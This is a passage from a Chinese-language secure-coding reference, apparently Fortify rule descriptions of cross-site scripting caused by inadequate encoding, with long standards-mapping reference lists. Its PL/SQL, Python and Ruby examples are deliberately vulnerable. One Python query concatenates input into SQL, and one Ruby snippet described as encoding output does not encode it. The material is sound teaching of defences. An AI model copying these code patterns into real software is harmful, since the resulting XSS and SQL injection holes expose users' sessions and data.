[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.php.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼功能可防止部分,但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼功能等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使套用編碼,Fortify Secure Coding Rulepack 還是會報告 Cross-Site Scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的程式碼片段在 HTTP 要求中讀取員工的識別碼 eid,使用 URL 加以編碼並顯示給使用者。


...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || HTMLDB_UTIL.url_encode(eid) || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下的程式碼片段,根據所給予的識別碼在資料庫中查詢員工,並列印該 URL 編碼的員工姓名。


...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || HTMLDB_UTIL.url_encode(name) || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.sql.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼功能可防止部分,但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼功能等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使套用編碼,Fortify Secure Coding Rulepack 還是會報告 Cross-Site Scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 Python 程式碼片段會從 HTTP 要求中讀取員工識別碼 eid、使用 HTML 加以編碼,並將識別碼顯示給使用者。


req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + escape(eid))


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 Python 程式碼片段會在資料庫中查詢具有指定識別碼的員工,並列印相應 HTML 編碼的員工姓名。


...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + escape(row["emp"]))
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_poor_validation
Abstract
如果依賴 HTML、XML 和其他類型的編碼來驗證使用者輸入,可能會導致瀏覽器執行惡意程式碼。
Explanation
使用特定編碼功能可防止部分,但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容,以 HTML 編碼的基本 <、>、& 和 ",以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元,可能會有中繼意義。依賴這類編碼功能等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊,並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容,所以即使套用編碼,Fortify Secure Coding Rulepack 還是會報告 Cross-Site Scripting 發現,並將其顯示為 Cross-Site Scripting: Poor Validation 問題。

Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 Ruby 程式碼片段在 HTTP 要求中讀取員工的識別碼 eid,使用 HTML 加以編碼並顯示給使用者。


eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是所謂的 Reflected XSS,不過請注意,如果使用Example 1 中的的 Rack::Request#params(),會同時看到 GETPOST 參數,所以可能容易受到各種類型的攻擊,而不是只會使惡意程式碼附加到 URL 而已。

範例 2:以下的 Ruby 程式碼片段會在資料庫中查詢具有所指定識別碼的員工,並列印相應 HTML 編碼的員工姓名。


...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

